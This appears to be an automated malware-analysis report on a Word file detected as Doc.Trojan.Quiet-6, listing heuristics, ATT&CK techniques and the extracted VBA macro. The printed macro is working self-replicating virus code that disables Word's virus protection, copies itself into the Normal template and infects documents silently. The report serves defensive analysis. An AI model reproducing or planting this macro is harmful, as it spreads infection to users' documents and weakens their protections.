MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a Microsoft Word document containing a VBA macro named Document_open. This macro is designed to copy its own code into the Normal template, which is a common technique for establishing persistence or ensuring the macro runs with any document opened. The ClamAV detection 'Doc.Trojan.Quiet-6' further indicates malicious intent. While the exact payload is not visible, the persistence mechanism is clear.
Heuristics 4
-
ClamAV: Doc.Trojan.Quiet-6 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Quiet-6
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 37,376 bytes but its declared streams total only 16,790 bytes — 20,586 bytes (55%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1015 bytes |
SHA-256: eedc59c0dbf7d61883599ef22b6953dc434b832f104b1f46085bacb05cfb697f |
|||
|
Detection
ClamAV:
Doc.Trojan.Quiet-6
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private source As Object
Private dest As Object
Private Sub Document_Close()
End Sub
Private Sub Document_open()
Application.Options.VirusProtection = False
Set source = ActiveDocument.VBProject.VBComponents.Item(1)
Set dest = NormalTemplate.VBProject.VBComponents.Item(1)
If dest.codemodule.countoflines = 0 Then
For i = 1 To source.codemodule.countoflines
dest.codemodule.insertlines i, source.codemodule.lines(i, 1)
Next i
Application.Options.SaveNormalPrompt = False
End If
If source.codemodule.countoflines = 0 Then
For i = 1 To dest.codemodule.countoflines
source.codemodule.insertlines i, dest.codemodule.lines(i, 1)
Next i
ActiveDocument.SaveAs (ActiveDocument.FullName)
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.